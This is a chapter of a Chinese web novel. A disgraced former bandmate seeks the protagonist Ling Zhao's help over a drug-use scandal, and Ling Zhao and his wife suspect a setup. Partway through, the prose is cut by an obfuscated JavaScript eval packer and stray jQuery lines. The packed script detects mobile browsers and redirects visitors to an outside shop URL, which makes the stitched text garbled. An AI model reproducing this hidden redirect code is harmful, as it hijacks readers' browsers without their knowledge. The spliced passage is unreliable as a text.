下午,办公室里来了一个不速之客。
穿着冲锋衣,戴着口罩和眼镜的章检推开一路拦着的韦东,他推开了门,埋头直冲进到了凌炤的办公桌前,双手撑在桌面,很用力,致使桌面晃动,可凌炤的笔尖却很稳,继续签下名字,将笔帽合起来,他这才抬头看向章检,气定神闲的态度,和章检的慌乱畏缩,形成了两个极端。
“抱歉老板,我没能拦住章先生。”韦东跟在身后进来,话上是这样说,可眼神却偷偷的看向了凌炤。
他看向章检,伸手要拉出去,严肃的说,“章先生,还请你现在离开。否则,我们会通知保安上来将你带下去。”
章检没有理他,只是拿下墨镜,熬得通红的眼睛盯着凌炤看,“凌炤,你要帮我,不,这不是帮我,而是帮你自己!”
“章先生!”韦东拔高了声音,掏出手机就要打电话。
章检的眼神格外恳求。
他年长凌炤两岁,可做事远远比不上凌炤沉稳,甚至遇到一点事情就容易手忙脚乱发脾气。
更何况是现在要有牢狱的大事,红肿的眼睛,眼球布满血丝,以及脱下口罩后下巴有青渣,容貌都苍老了几岁一样。
凌炤把签好的文件递给韦东,“你去通知各个部门四点钟准时开会。”
“好。”韦东点了点头,他看了眼章检,知道老板的意思,转身离开了办公室,贴心关好门。
章检是泄了一口气,他把鸭舌帽也拿下来,走过去坐在沙发上,拉下冲锋衣的拉链,只有这样给自己减少束缚感,才能舒服点。
他好像误会了凌炤的意思,认为是会帮他。章检的慌张没有了,眉宇间还爬上了一股理所当然的意思,就连说话,也摆起了身份。
“凌炤,不用我说,今天的热搜你也看见了。”章检气愤的说,“我是被人陷害的!我根本就没有吸d!那玩意儿谁敢碰啊,再说了,我也没有钱去买,连买途径都不知道,肯定是有人在背后陷害我!”
他想破脑袋都不知道有谁要陷害他。而且他心里很明白,自己都算不上明星,怎么可能会有狗仔蹲他找黑料,作为圈子里没名气的人物,一个同样不出名的狗仔要想爆火,只会去蹲那些大明星。
“你在这里咆哮没用,狗仔发出来的视频拍得很清楚,你和一群人在一起,然后就吸了,那飘忽似神仙的表情和中毒没区别,你现在站出去说没吸,有几个会信你?最简单的,你直接去专业部门进行尿检,甩出证据,证明自己是干净的。”
凌炤倒了一杯茶给他,坐在了对面,平缓的语气引导,“章检,你不敢去尿检,跑来这里叫我帮你,你想让我怎么帮?吸d那是谁都深痛恶绝的事,你这还是被全网宣扬,即将被警方带走调查是很肯定的事,我又怎么帮你。难道警方要把你带走了,你要我站出来说,不准带吗。”
凌炤看着章检,眼神幽幽的,好像一滩沼泽,能把人的灵魂吸走,带进去,直叫章检被看得心虚。而且这话也刺得他一阵恼火,凌炤这话是什么意思,在嘲笑他的愚蠢吗。
以前乐队还在的时候,章检仗着自己年纪大,并且经验多一些,虽不说欺负,可也会想要打压凌炤,不想让他出风头,可是乐队能火,并且能赚钱的那几年,都是靠凌炤带来的,他就不再敢了。
甚至他还有点怕凌炤,说不上为什么,即便初见时,凌炤也是有礼貌的一个少年,可他就发怵。
“我···”章检想发脾气,可想到自己还是有求于人,他梗着的脖子,又灰溜溜地缩了回去。
本来以为事情也不会激起什么风浪,他又没这个能耐,可现在愈远愈烈,章检知道,警方肯定会联系他带去调查,他这才坐不住,可是慌忙到头,他脑子一片空白,也不知道怎么办,只好来找凌炤了。
乐队里还有两个人,可是,一个已经出国,现在在国外生活,一个也回了老家发展,现在就拍拍视频,直播带货,能够帮到他的,也就发展越来越好的凌炤,况且怎么说也波及到了凌炤,他们一起的。
“当然了,我们认识多年,当年检哥也帮过我不少,现在你面临这种局面,我岂能袖手旁观。而且我也相信你的为人,是不会做出去吸d这种事的。”
见他短了气焰,而且思维上也开始跟着他走,凌炤换了一个安抚性的浅笑,通过相信他的话来给章检放松和交出信任。
“我当然不会!凌炤,哥是什么样的人你心里最清楚了,我虽然是混了点,可这种事绝对没有做过!”
章检有些激动,坐直了身子,还不自觉地往前面挪一挪。
“嗯,我是愿意相信你的,可视频也不会作假,照现在看,视频里的人也确实是你。”凌炤把温热的茶水推过去,“检哥,当时是什么情况,你先和我说说。我知道了过程,才知道怎么帮你不是。”
章检是有些口干舌燥了,他端起茶杯喝了一口,温热的水入喉,也让他渐渐冷静下来,“那时候···我愁着没钱花,然后去了酒吧买醉,顺便想着来一场艳遇也不错。后面没找到,我也喝够了,想要回去的路上碰到了两个人,也就是视频里的那两个。他们说是我的粉丝,我当时酒上头,也就相信了这回事。”
说起来,章检还是一脸懊恼,“我和他们聊了几句,越聊越开心,也很自豪,我还是有粉丝的,再被吹捧几句,就起了想要回到娱乐圈再次发展的想法。他们还说,认识一个导演可以推荐给我,去尝试演戏,我很高兴,就和他们离开了,后面的事,我什么也不知道,等醒来后我已经躺在酒店。”
“我没多想,以为是他们帮我开的房间,我回到家后就一直等着引荐的消息,可没有收到,却看见了自己上热搜。”章检再傻也知道被坑了,他抓着脑袋,懊悔又气愤,“我是做着想要出名的梦,可也不是这样出名。”
这叫身败名裂,甚至,他还没有名,就已经成了这样。
凌炤垂眸,看着茶水,“也就是说,你被带走之后,什么都不懂的时间段里,你也不知道发生了什么事。”
章检摇头,“我不知道。真不知道。”
这就是他不敢去尿检证明自己的原因,要是在脑子不清醒的时候被喂了什么东西,他也不知道啊。
“我明白了。”凌炤抬眸,给了一个安抚的眼神,“既然检哥说是被陷害的,那你就去配合警方调查。”
章检惊呆了,他没想是这样的方式啊!他不想自己的照片是被两位警察同志夹在中间带走。
“我们可是守法且良善的公民,检哥好好配合调查,把事情经过如实和警方说就好。”凌炤说得很认真。
章检沉默了几秒,抹了把脸,神色犹豫了又犹豫,“凌炤,你在外面要帮我。特别是故意陷害我的人,就算我说实话了,也不见得会放过我。”
他什么时候有这个能耐被关注了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14162285|149167||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他自己都不知道,可不妨碍他害怕,黑暗手段多的是,光鲜亮丽只是外壳,用来吸引人的。
章检也不是多笨的人,他也明白,肯定会被带走调查,在警方来之前先和凌炤说一声,也是为了心里有个底。
凌炤站起来,过去拍了拍他的肩膀,没有说什么。
话已经说完,章检的手机一响,接到了警方的电话,他离开了办公室。
禅若休息在里间,等他一走,这才出来。
刚才她已经醒了,只是听见有客人的声音,这才没有出去,当然,她也没有要故意偷听,他们的说话声音并不小,她也没有耳背,会听到很正常。
“你要帮他?”禅若手里拿着檀木发簪,披散这一头乌黑亮丽的及腰头发,更衬着面容皎皎似明月。
“抱歉,把你给吵醒了。”凌炤走过来,接过禅若手里的檀木簪子,揽过她的肩膀去坐好。
他翻出了一把桃木梳子,站在禅若身后熟练的梳头发,“这不是帮不帮的问题,而是,这已经涉及到了法律,不是吗。该怎么做,警方会比我们更有程序。况且,我也极其厌恶吸d人群,章检如果真的碰了,不管是自愿还是被强迫,最后的结果判定,只能等着。”
禅若嗯了一声,感受着凌炤的指尖穿过秀发,“你在怀疑,还有别的爆料等着,而且是专门针对你的。”
章检的事,只不过是引子而已。甚至刚才说的话,是真的,还是自导自演的,也就只有他自己清楚。
博眼球博流量,有时候,只需要一件轰动的大事就可以了。先扛着脏水,备受关注,再洗白成为受害者身份,就能成功了三分之一,只要能狠得下心,搏一搏,不失是一个绝佳的机会。
就如现在这个关头,章检大可以打电话约凌炤出去偷偷聊,而不是明晃晃的,直接跑来了公司,似乎想让更多人看见他和凌炤在接触的画面。
“老婆真聪明。”凌炤轻笑,低头亲了亲禅若的脸颊,她睡得红扑扑,白里透红,很是可爱。
他去倒了一杯温水放入禅若手里,他们的杯子是情侣杯,杯面有浅绿色的叶子,“我想要不了多久,拿着这份视频的人就会来找我了。只是可能会牵连到你一二,不过很快就能摆平。有什么事,你要及时和我说。”
“应该不会是郭冀。”禅若低头喝了一口,她睡醒有喝温水的习惯,只要凌炤在身边的话,他都会准备好。
“老婆,我们果然是心意相通。”凌炤又去黏她了,满眼笑意。
“凌炤,你要成为博弈的棋子了。”禅若没有说的是,这个博弈里面,执棋的人或许还有别人,比如,那份精神病鉴定报告的背后是有什么秘密。
但他们都是聪明人,话不需要说尽,点到为止就能明白。
凌炤知道,可他一点也不慌,抱着禅若,指尖把玩她手腕上的一串菩提手链,“如果我败了,一无所有的话,老婆还会要我吗。”
禅若眉眼平和反问一句,“你会让自己落到这个境地吗。”
“说不定呢。”凌炤勾唇,眼里意味深长。
“这样啊。”禅若知道他又犯病了,“我说不要你,你真的会听话就走?”
凌炤轻笑了声,他真的很喜欢埋首在禅若的肩窝上蹭着,“肯定不会走,死了也要变成鬼赖着你。”
···
晚上,亦如他们所想,凌炤果真接到了一通电话。